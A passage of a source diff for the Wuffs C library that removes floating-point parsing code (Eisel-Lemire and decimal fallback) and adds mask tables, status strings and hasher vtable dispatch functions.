merged_lo = 0xFFFFFFFFFFFFFFFF +- // - y_lo = 0x4DB3FFC120988200 +- // - man = 0xD3C21BCECCEDA100 +- if (((merged_hi & 0x1FF) == 0x1FF) && ((merged_lo + 1) == 0) && +- (y_lo + man < man)) { +- return -1; +- } ++// ---------------- I/O (Utility) + +- // Replace the 128-bit x with merged. +- x_hi = merged_hi; +- x_lo = merged_lo; +- } ++#define wuffs_base__utility__empty_io_reader wuffs_base__empty_io_reader ++#define wuffs_base__utility__empty_io_writer wuffs_base__empty_io_writer + +- // As mentioned above, shifting x_hi right by either 9 or 10 bits will leave +- // the top 10 MSBs (bits 54 ..= 63) off and the 11th MSB (bit 53) on. If the +- // MSB (before shifting) was on, adjust ret_exp2 for the larger shift. +- // +- // Having bit 53 on (and higher bits off) means that ret_mantissa is a 54-bit +- // number. +- uint64_t msb = x_hi >> 63; +- uint64_t ret_mantissa = x_hi >> (msb + 9); +- ret_exp2 -= 1 ^ msb; ++// ---------------- Tokens + +- // IEEE 754 rounds to-nearest with ties rounded to-even. Rounding to-even can +- // be tricky. If we're half-way between two exactly representable numbers +- // (x's low 73 bits are zero and the next 2 bits that matter are "01"), give +- // up instead of trying to pick the winner. +- // +- // Technically, we could tighten the condition by changing "73" to "73 or 74, +- // depending on msb", but a flat "73" is simpler. +- // +- // For example, parsing "1e+23" will take the if-true branch here, since: +- // - x_hi = 0x54B40B1F852BDA00 +- // - ret_mantissa = 0x002A5A058FC295ED +- if ((x_lo == 0) && ((x_hi & 0x1FF) == 0) && ((ret_mantissa & 3) == 1)) { +- return -1; +- } ++// ---------------- Tokens (Utility) + +- // If we're not halfway then it's rounding to-nearest. Starting with a 54-bit +- // number, carry the lowest bit (bit 0) up if it's on. Regardless of whether +- // it was on or off, shifting right by one then produces a 53-bit number. If +- // carrying up overflowed, shift again. +- ret_mantissa += ret_mantissa & 1; +- ret_mantissa >>= 1; +- // This if block is equivalent to (but benchmarks slightly faster than) the +- // following branchless form: +- // uint64_t overflow_adjustment = ret_mantissa >> 53; +- // ret_mantissa >>= overflow_adjustment; +- // ret_exp2 += overflow_adjustment; +- // +- // For example, parsing "7.2057594037927933e+16" will take the if-true +- // branch here, since: +- // - x_hi = 0x7FFFFFFFFFFFFE80 +- // - ret_mantissa = 0x0020000000000000 +- if ((ret_mantissa >> 53) > 0) { +- ret_mantissa >>= 1; +- ret_exp2++; +- } ++// ---------------- Memory Allocation + +- // Starting with a 53-bit number, IEEE 754 double-precision normal numbers +- // have an implicit mantissa bit. Mask that away and keep the low 52 bits. +- ret_mantissa &= 0x000FFFFFFFFFFFFF; ++// ---------------- Images + +- // Pack the bits and return. +- return ((int64_t)(ret_mantissa | (ret_exp2 << 52))); +-} ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( ++ const wuffs_base__pixel_swizzler* p, ++ uint32_t up_to_num_pixels, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ const uint8_t** ptr_iop_r, ++ const uint8_t* io2_r); + +-// -------- ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ const uint8_t** ptr_iop_r, ++ const uint8_t* io2_r); + +-static wuffs_base__result_f64 // +-wuffs_base__private_implementation__parse_number_f64_special( +- wuffs_base__slice_u8 s, +- uint32_t options) { +- do { +- if (options & WUFFS_BASE__PARSE_NUMBER_FXX__REJECT_INF_AND_NAN) { +- goto fail; +- } ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ uint64_t num_pixels); + +- uint8_t* p = s.ptr; +- uint8_t* q = s.ptr + s.len; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status // ++wuffs_base__pixel_swizzler__swizzle_ycck( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_buffer* dst, ++ wuffs_base__slice_u8 dst_palette, ++ uint32_t x_min_incl, ++ uint32_t x_max_excl, ++ uint32_t y_min_incl, ++ uint32_t y_max_excl, ++ wuffs_base__slice_u8 src0, ++ wuffs_base__slice_u8 src1, ++ wuffs_base__slice_u8 src2, ++ wuffs_base__slice_u8 src3, ++ uint32_t width0, ++ uint32_t width1, ++ uint32_t width2, ++ uint32_t width3, ++ uint32_t height0, ++ uint32_t height1, ++ uint32_t height2, ++ uint32_t height3, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t stride3, ++ uint8_t h0, ++ uint8_t h1, ++ uint8_t h2, ++ uint8_t h3, ++ uint8_t v0, ++ uint8_t v1, ++ uint8_t v2, ++ uint8_t v3, ++ bool is_rgb_or_cmyk, ++ bool triangle_filter_for_2to1, ++ wuffs_base__slice_u8 scratch_buffer_2k); + +- for (; (p < q) && (*p == '_'); p++) { +- } +- if (p >= q) { +- goto fail; +- } ++// ---------------- Images (Utility) + +- // Parse sign. +- bool negative = false; +- do { +- if (*p == '+') { +- p++; +- } else if (*p == '-') { +- negative = true; +- p++; +- } else { +- break; +- } +- for (; (p < q) && (*p == '_'); p++) { +- } +- } while (0); +- if (p >= q) { +- goto fail; +- } ++#define wuffs_base__utility__make_pixel_format wuffs_base__make_pixel_format + +- bool nan = false; +- switch (p[0]) { +- case 'I': +- case 'i': +- if (((q - p) < 3) || // +- ((p[1] != 'N') && (p[1] != 'n')) || // +- ((p[2] != 'F') && (p[2] != 'f'))) { +- goto fail; +- } +- p += 3; ++// ---------------- String Conversions + +- if ((p >= q) || (*p == '_')) { +- break; +- } else if (((q - p) < 5) || // +- ((p[0] != 'I') && (p[0] != 'i')) || // +- ((p[1] != 'N') && (p[1] != 'n')) || // +- ((p[2] != 'I') && (p[2] != 'i')) || // +- ((p[3] != 'T') && (p[3] != 't')) || // +- ((p[4] != 'Y') && (p[4] != 'y'))) { +- goto fail; +- } +- p += 5; ++// ---------------- Unicode and UTF-8 + +- if ((p >= q) || (*p == '_')) { +- break; +- } +- goto fail; ++// ---------------- + +- case 'N': +- case 'n': +- if (((q - p) < 3) || // +- ((p[1] != 'A') && (p[1] != 'a')) || // +- ((p[2] != 'N') && (p[2] != 'n'))) { +- goto fail; +- } +- p += 3; ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__CORE) + +- if ((p >= q) || (*p == '_')) { +- nan = true; +- break; +- } +- goto fail; ++const uint8_t wuffs_private_impl__low_bits_mask__u8[8] = { ++ 0x00, 0x01, 0x03, 0x07, 0x0F, 0x1F, 0x3F, 0x7F, ++}; + +- default: +- goto fail; +- } ++const uint16_t wuffs_private_impl__low_bits_mask__u16[16] = { ++ 0x0000, 0x0001, 0x0003, 0x0007, 0x000F, 0x001F, 0x003F, 0x007F, ++ 0x00FF, 0x01FF, 0x03FF, 0x07FF, 0x0FFF, 0x1FFF, 0x3FFF, 0x7FFF, ++}; + +- // Finish. +- for (; (p < q) && (*p == '_'); p++) { +- } +- if (p != q) { +- goto fail; +- } +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( +- (nan ? 0x7FFFFFFFFFFFFFFF : 0x7FF0000000000000) | +- (negative ? 0x8000000000000000 : 0)); +- return ret; +- } while (0); ++const uint32_t wuffs_private_impl__low_bits_mask__u32[32] = { ++ 0x00000000, 0x00000001, 0x00000003, 0x00000007, 0x0000000F, 0x0000001F, ++ 0x0000003F, 0x0000007F, 0x000000FF, 0x000001FF, 0x000003FF, 0x000007FF, ++ 0x00000FFF, 0x00001FFF, 0x00003FFF, 0x00007FFF, 0x0000FFFF, 0x0001FFFF, ++ 0x0003FFFF, 0x0007FFFF, 0x000FFFFF, 0x001FFFFF, 0x003FFFFF, 0x007FFFFF, ++ 0x00FFFFFF, 0x01FFFFFF, 0x03FFFFFF, 0x07FFFFFF, 0x0FFFFFFF, 0x1FFFFFFF, ++ 0x3FFFFFFF, 0x7FFFFFFF, ++}; + +-fail: +- do { +- wuffs_base__result_f64 ret; +- ret.status.repr = wuffs_base__error__bad_argument; +- ret.value = 0; +- return ret; +- } while (0); +-} ++const uint64_t wuffs_private_impl__low_bits_mask__u64[64] = { ++ 0x0000000000000000, 0x0000000000000001, 0x0000000000000003, ++ 0x0000000000000007, 0x000000000000000F, 0x000000000000001F, ++ 0x000000000000003F, 0x000000000000007F, 0x00000000000000FF, ++ 0x00000000000001FF, 0x00000000000003FF, 0x00000000000007FF, ++ 0x0000000000000FFF, 0x0000000000001FFF, 0x0000000000003FFF, ++ 0x0000000000007FFF, 0x000000000000FFFF, 0x000000000001FFFF, ++ 0x000000000003FFFF, 0x000000000007FFFF, 0x00000000000FFFFF, ++ 0x00000000001FFFFF, 0x00000000003FFFFF, 0x00000000007FFFFF, ++ 0x0000000000FFFFFF, 0x0000000001FFFFFF, 0x0000000003FFFFFF, ++ 0x0000000007FFFFFF, 0x000000000FFFFFFF, 0x000000001FFFFFFF, ++ 0x000000003FFFFFFF, 0x000000007FFFFFFF, 0x00000000FFFFFFFF, ++ 0x00000001FFFFFFFF, 0x00000003FFFFFFFF, 0x00000007FFFFFFFF, ++ 0x0000000FFFFFFFFF, 0x0000001FFFFFFFFF, 0x0000003FFFFFFFFF, ++ 0x0000007FFFFFFFFF, 0x000000FFFFFFFFFF, 0x000001FFFFFFFFFF, ++ 0x000003FFFFFFFFFF, 0x000007FFFFFFFFFF, 0x00000FFFFFFFFFFF, ++ 0x00001FFFFFFFFFFF, 0x00003FFFFFFFFFFF, 0x00007FFFFFFFFFFF, ++ 0x0000FFFFFFFFFFFF, 0x0001FFFFFFFFFFFF, 0x0003FFFFFFFFFFFF, ++ 0x0007FFFFFFFFFFFF, 0x000FFFFFFFFFFFFF, 0x001FFFFFFFFFFFFF, ++ 0x003FFFFFFFFFFFFF, 0x007FFFFFFFFFFFFF, 0x00FFFFFFFFFFFFFF, ++ 0x01FFFFFFFFFFFFFF, 0x03FFFFFFFFFFFFFF, 0x07FFFFFFFFFFFFFF, ++ 0x0FFFFFFFFFFFFFFF, 0x1FFFFFFFFFFFFFFF, 0x3FFFFFFFFFFFFFFF, ++ 0x7FFFFFFFFFFFFFFF, ++}; + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__result_f64 // +-wuffs_base__private_implementation__high_prec_dec__to_f64( +- wuffs_base__private_implementation__high_prec_dec* h, +- uint32_t options) { +- do { +- // powers converts decimal powers of 10 to binary powers of 2. For example, +- // (10000 >> 13) is 1. It stops before the elements exceed 60, also known +- // as WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL. +- // +- // This rounds down (1<<13 is a lower bound for 1e4). Adding 1 to the array +- // element value rounds up (1<<14 is an upper bound for 1e4) while staying +- // at or below WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL. +- // +- // When starting in the range [1e+1 .. 1e+2] (i.e. h->decimal_point == +2), +- // powers[2] == 6 and so: +- // - Right shifting by 6+0 produces the range [10/64 .. 100/64] = +- // [0.156250 .. 1.56250]. The resultant h->decimal_point is +0 or +1. +- // - Right shifting by 6+1 produces the range [10/128 .. 100/128] = +- // [0.078125 .. 0.78125]. The resultant h->decimal_point is -1 or -0. +- // +- // When starting in the range [1e-3 .. 1e-2] (i.e. h->decimal_point == -2), +- // powers[2] == 6 and so: +- // - Left shifting by 6+0 produces the range [0.001*64 .. 0.01*64] = +- // [0.064 .. 0.64]. The resultant h->decimal_point is -1 or -0. +- // - Left shifting by 6+1 produces the range [0.001*128 .. 0.01*128] = +- // [0.128 .. 1.28]. The resultant h->decimal_point is +0 or +1. +- // +- // Thus, when targeting h->decimal_point being +0 or +1, use (powers[n]+0) +- // when right shifting but (powers[n]+1) when left shifting. +- static const uint32_t num_powers = 19; +- static const uint8_t powers[19] = { +- 0, 3, 6, 9, 13, 16, 19, 23, 26, 29, // +- 33, 36, 39, 43, 46, 49, 53, 56, 59, // +- }; ++const uint32_t wuffs_private_impl__pixel_format__bits_per_channel[16] = { ++ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, ++ 0x08, 0x0A, 0x0C, 0x10, 0x18, 0x20, 0x30, 0x40, ++}; + +- // Handle zero and obvious extremes. The largest and smallest positive +- // finite f64 values are approximately 1.8e+308 and 4.9e-324. +- if ((h->num_digits == 0) || (h->decimal_point < -326)) { +- goto zero; +- } else if (h->decimal_point > 310) { +- goto infinity; +- } ++const char wuffs_base__note__i_o_redirect[] = "@base: I/O redirect"; ++const char wuffs_base__note__end_of_data[] = "@base: end of data"; ++const char wuffs_base__note__metadata_reported[] = "@base: metadata reported"; ++const char wuffs_base__suspension__even_more_information[] = "$base: even more information"; ++const char wuffs_base__suspension__mispositioned_read[] = "$base: mispositioned read"; ++const char wuffs_base__suspension__mispositioned_write[] = "$base: mispositioned write"; ++const char wuffs_base__suspension__short_read[] = "$base: short read"; ++const char wuffs_base__suspension__short_workbuf[] = "$base: short workbuf"; ++const char wuffs_base__suspension__short_write[] = "$base: short write"; ++const char wuffs_base__error__bad_i_o_position[] = "#base: bad I/O position"; ++const char wuffs_base__error__bad_argument_length_too_short[] = "#base: bad argument (length too short)"; ++const char wuffs_base__error__bad_argument[] = "#base: bad argument"; ++const char wuffs_base__error__bad_call_sequence[] = "#base: bad call sequence"; ++const char wuffs_base__error__bad_data[] = "#base: bad data"; ++const char wuffs_base__error__bad_receiver[] = "#base: bad receiver"; ++const char wuffs_base__error__bad_restart[] = "#base: bad restart"; ++const char wuffs_base__error__bad_sizeof_receiver[] = "#base: bad sizeof receiver"; ++const char wuffs_base__error__bad_vtable[] = "#base: bad vtable"; ++const char wuffs_base__error__bad_workbuf_length[] = "#base: bad workbuf length"; ++const char wuffs_base__error__bad_wuffs_version[] = "#base: bad wuffs version"; ++const char wuffs_base__error__cannot_return_a_suspension[] = "#base: cannot return a suspension"; ++const char wuffs_base__error__disabled_by_wuffs_config_dst_pixel_format_enable_allowlist[] = "#base: disabled by WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST"; ++const char wuffs_base__error__disabled_by_previous_error[] = "#base: disabled by previous error"; ++const char wuffs_base__error__initialize_falsely_claimed_already_zeroed[] = "#base: initialize falsely claimed already zeroed"; ++const char wuffs_base__error__initialize_not_called[] = "#base: initialize not called"; ++const char wuffs_base__error__insufficient_history[] = "#base: insufficient history"; ++const char wuffs_base__error__interleaved_coroutine_calls[] = "#base: interleaved coroutine calls"; ++const char wuffs_base__error__no_more_information[] = "#base: no more information"; ++const char wuffs_base__error__not_enough_data[] = "#base: not enough data"; ++const char wuffs_base__error__out_of_bounds[] = "#base: out of bounds"; ++const char wuffs_base__error__unsupported_image_dimension[] = "#base: unsupported image dimension"; ++const char wuffs_base__error__unsupported_method[] = "#base: unsupported method"; ++const char wuffs_base__error__unsupported_option[] = "#base: unsupported option"; ++const char wuffs_base__error__unsupported_pixel_swizzler_option[] = "#base: unsupported pixel swizzler option"; ++const char wuffs_base__error__too_much_data[] = "#base: too much data"; + +- // Try the fast Eisel-Lemire algorithm again. Calculating the (man, exp10) +- // pair from the high_prec_dec h is more correct but slower than the +- // approach taken in wuffs_base__parse_number_f64. The latter is optimized +- // for the common cases (e.g. assuming no underscores or a leading '+' +- // sign) rather than the full set of cases allowed by the Wuffs API. +- // +- // When we have 19 or fewer mantissa digits, run Eisel-Lemire once (trying +- // for an exact result). When we have more than 19 mantissa digits, run it +- // twice to get a lower and upper bound. We still have an exact result +- // (within f64's rounding margin) if both bounds are equal (and valid). +- uint32_t i_max = h->num_digits; +- if (i_max > 19) { +- i_max = 19; +- } +- int32_t exp10 = h->decimal_point - ((int32_t)i_max); +- if ((-307 <= exp10) && (exp10 <= 288)) { +- uint64_t man = 0; +- uint32_t i; +- for (i = 0; i < i_max; i++) { +- man = (10 * man) + h->digits[i]; +- } +- while (man != 0) { // The 'while' is just an 'if' that we can 'break'. +- int64_t r0 = +- wuffs_base__private_implementation__parse_number_f64_eisel_lemire( +- man + 0, exp10); +- if (r0 < 0) { +- break; +- } else if (h->num_digits > 19) { +- int64_t r1 = +- wuffs_base__private_implementation__parse_number_f64_eisel_lemire( +- man + 1, exp10); +- if (r1 != r0) { +- break; +- } +- } +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( +- ((uint64_t)r0) | (((uint64_t)(h->negative)) << 63)); +- return ret; +- } +- } ++const char wuffs_base__hasher_u32__vtable_name[] = "{vtable}wuffs_base__hasher_u32"; ++const char wuffs_base__hasher_u64__vtable_name[] = "{vtable}wuffs_base__hasher_u64"; ++const char wuffs_base__hasher_bitvec256__vtable_name[] = "{vtable}wuffs_base__hasher_bitvec256"; ++const char wuffs_base__image_decoder__vtable_name[] = "{vtable}wuffs_base__image_decoder"; ++const char wuffs_base__io_transformer__vtable_name[] = "{vtable}wuffs_base__io_transformer"; ++const char wuffs_base__token_decoder__vtable_name[] = "{vtable}wuffs_base__token_decoder"; + +- // When Eisel-Lemire fails, fall back to Simple Decimal Conversion. See +- // https://nigeltao.github.io/blog/2020/parse-number-f64-simple.html +- // +- // Scale by powers of 2 until we're in the range [0.1 .. 10]. Equivalently, +- // that h->decimal_point is +0 or +1. +- // +- // First we shift right while at or above 10... +- const int32_t f64_bias = -1023; +- int32_t exp2 = 0; +- while (h->decimal_point > 1) { +- uint32_t n = (uint32_t)(+h->decimal_point); +- uint32_t shift = +- (n < num_powers) +- ? powers[n] +- : WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; +- +- wuffs_base__private_implementation__high_prec_dec__small_rshift(h, shift); +- if (h->decimal_point < +- -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { +- goto zero; +- } +- exp2 += (int32_t)shift; +- } +- // ...then we shift left while below 0.1. +- while (h->decimal_point < 0) { +- uint32_t shift; +- uint32_t n = (uint32_t)(-h->decimal_point); +- shift = (n < num_powers) +- // The +1 is per "when targeting h->decimal_point being +0 or +- // +1... when left shifting" in the powers comment above. +- ? (powers[n] + 1) +- : WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__CORE) + +- wuffs_base__private_implementation__high_prec_dec__small_lshift(h, shift); +- if (h->decimal_point > +- +WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { +- goto infinity; +- } +- exp2 -= (int32_t)shift; +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) + +- // To get from "in the range [0.1 .. 10]" to "in the range [1 .. 2]" (which +- // will give us our exponent in base-2), the mantissa's first 3 digits will +- // determine the final left shift, equal to 52 (the number of explicit f64 +- // bits) plus an additional adjustment. +- int man3 = (100 * h->digits[0]) + +- ((h->num_digits > 1) ? (10 * h->digits[1]) : 0) + +- ((h->num_digits > 2) ? h->digits[2] : 0); +- int32_t additional_lshift = 0; +- if (h->decimal_point == 0) { // The value is in [0.1 .. 1]. +- if (man3 < 125) { +- additional_lshift = +4; +- } else if (man3 < 250) { +- additional_lshift = +3; +- } else if (man3 < 500) { +- additional_lshift = +2; +- } else { +- additional_lshift = +1; +- } +- } else { // The value is in [1 .. 10]. +- if (man3 < 200) { +- additional_lshift = -0; +- } else if (man3 < 400) { +- additional_lshift = -1; +- } else if (man3 < 800) { +- additional_lshift = -2; +- } else { +- additional_lshift = -3; +- } +- } +- exp2 -= additional_lshift; +- uint32_t final_lshift = (uint32_t)(52 + additional_lshift); ++// ---------------- Interface Definitions. + +- // The minimum normal exponent is (f64_bias + 1). +- while ((f64_bias + 1) > exp2) { +- uint32_t n = (uint32_t)((f64_bias + 1) - exp2); +- if (n > WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL) { +- n = WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; +- } +- wuffs_base__private_implementation__high_prec_dec__small_rshift(h, n); +- exp2 += (int32_t)n; +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_base__hasher_u32__checksum_u32( ++ const wuffs_base__hasher_u32* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- // Check for overflow. +- if ((exp2 - f64_bias) >= 0x07FF) { // (1 << 11) - 1. +- goto infinity; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { ++ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->checksum_u32)(self); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- // Extract 53 bits for the mantissa (in base-2). +- wuffs_base__private_implementation__high_prec_dec__small_lshift( +- h, final_lshift); +- uint64_t man2 = +- wuffs_base__private_implementation__high_prec_dec__rounded_integer(h); ++ return 0; ++} + +- // Rounding might have added one bit. If so, shift and re-check overflow. +- if ((man2 >> 53) != 0) { +- man2 >>= 1; +- exp2++; +- if ((exp2 - f64_bias) >= 0x07FF) { // (1 << 11) - 1. +- goto infinity; +- } +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__hasher_u32__get_quirk( ++ const wuffs_base__hasher_u32* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- // Handle subnormal numbers. +- if ((man2 >> 52) == 0) { +- exp2 = f64_bias; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { ++ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->get_quirk)(self, a_key); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- // Pack the bits and return. +- uint64_t exp2_bits = +- (uint64_t)((exp2 - f64_bias) & 0x07FF); // (1 << 11) - 1. +- uint64_t bits = (man2 & 0x000FFFFFFFFFFFFF) | // (1 << 52) - 1. +- (exp2_bits << 52) | // +- (h->negative ? 0x8000000000000000 : 0); // (1 << 63). +- +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); +- return ret; +- } while (0); +- +-zero: +- do { +- uint64_t bits = h->negative ? 0x8000000000000000 : 0; ++ return 0; ++} + +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); +- return ret; +- } while (0); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__hasher_u32__set_quirk( ++ wuffs_base__hasher_u32* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-infinity: +- do { +- if (options & WUFFS_BASE__PARSE_NUMBER_FXX__REJECT_INF_AND_NAN) { +- wuffs_base__result_f64 ret; +- ret.status.repr = wuffs_base__error__bad_argument; +- ret.value = 0; +- return ret; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { ++ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_quirk)(self, a_key, a_value); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- uint64_t bits = h->negative ? 0xFFF0000000000000 : 0x7FF0000000000000; +- +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); +- return ret; +- } while (0); ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); + } + +-static inline bool // +-wuffs_base__private_implementation__is_decimal_digit(uint8_t c) { +- return ('0' <= c) && (c <= '9'); +-} ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_base__hasher_u32__update( ++ wuffs_base__hasher_u32* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__result_f64 // +-wuffs_base__parse_number_f64(wuffs_base__slice_u8 s, uint32_t options) { +- // In practice, almost all "dd.ddddE±xxx" numbers can be represented +- // losslessly by a uint64_t mantissa "dddddd" and an int32_t base-10 +- // exponent, adjusting "xxx" for the position (if present) of the decimal +- // separator '.' or ','. +- // +- // This (u64 man, i32 exp10) data structure is superficially similar to the +- // "Do It Yourself Floating Point" type from Loitsch (†), but the exponent +- // here is base-10, not base-2. +- // +- // If s's number fits in a (man, exp10), parse that pair with the +- // Eisel-Lemire algorithm. If not, or if Eisel-Lemire fails, parsing s with +- // the fallback algorithm is slower but comprehensive. +- // +- // † "Printing Floating-Point Numbers Quickly and Accurately with Integers" +- // (https://www.cs.tufts.edu/~nr/cs257/archive/florian-loitsch/printf.pdf). +- // Florian Loitsch is also the primary contributor to +- // https://github.com/google/double-conversion +- do { +- // Calculating that (man, exp10) pair needs to stay within s's bounds. +- // Provided that s isn't extremely long, work on a NUL-terminated copy of +- // s's contents. The NUL byte isn't a valid part of "±dd.ddddE±xxx". +- // +- // As the pointer p walks the contents, it's faster to repeatedly check "is +- // *p a valid digit" than "is p within bounds and *p a valid digit". +- if (s.len >= 256) { +- goto fallback; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { ++ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->update)(self, a_x); ++ } else if (v->vtable_name == NULL) { ++ break; + } +- uint8_t z[256]; +- memcpy(&z[0], s.ptr, s.len); +- z[s.len] = 0; +- const uint8_t* p = &z[0]; ++ v++; ++ } + +- // Look for a leading minus sign. Technically, we could also look for an +- // optional plus sign, but the "script/process-json-numbers.c with -p" +- // benchmark is noticably slower if we do. It's optional and, in practice, +- // usually absent. Let the fallback catch it. +- bool negative = (*p == '-'); +- if (negative) { +- p++; +- } ++ return wuffs_base__make_empty_struct(); ++} + +- // After walking "dd.dddd", comparing p later with p now will produce the +- // number of "d"s and "."s. +- const uint8_t* const start_of_digits_ptr = p; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_base__hasher_u32__update_u32( ++ wuffs_base__hasher_u32* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return 0; ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return 0; ++ } + +- // Walk the "d"s before a '.', 'E', NUL byte, etc. If it starts with '0', +- // it must be a single '0'. If it starts with a non-zero decimal digit, it +- // can be a sequence of decimal digits. +- // +- // Update the man variable during the walk. It's OK if man overflows now. +- // We'll detect that later. +- uint64_t man; +- if (*p == '0') { +- man = 0; +- p++; +- if (wuffs_base__private_implementation__is_decimal_digit(*p)) { +- goto fallback; +- } +- } else if (wuffs_base__private_implementation__is_decimal_digit(*p)) { +- man = ((uint8_t)(*p - '0')); +- p++; +- for (; wuffs_base__private_implementation__is_decimal_digit(*p); p++) { +- man = (10 * man) + ((uint8_t)(*p - '0')); +- } +- } else { +- goto fallback; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { ++ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->update_u32)(self, a_x); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- // Walk the "d"s after the optional decimal separator ('.' or ','), +- // updating the man and exp10 variables. +- int32_t exp10 = 0; +- if (*p == +- ((options & 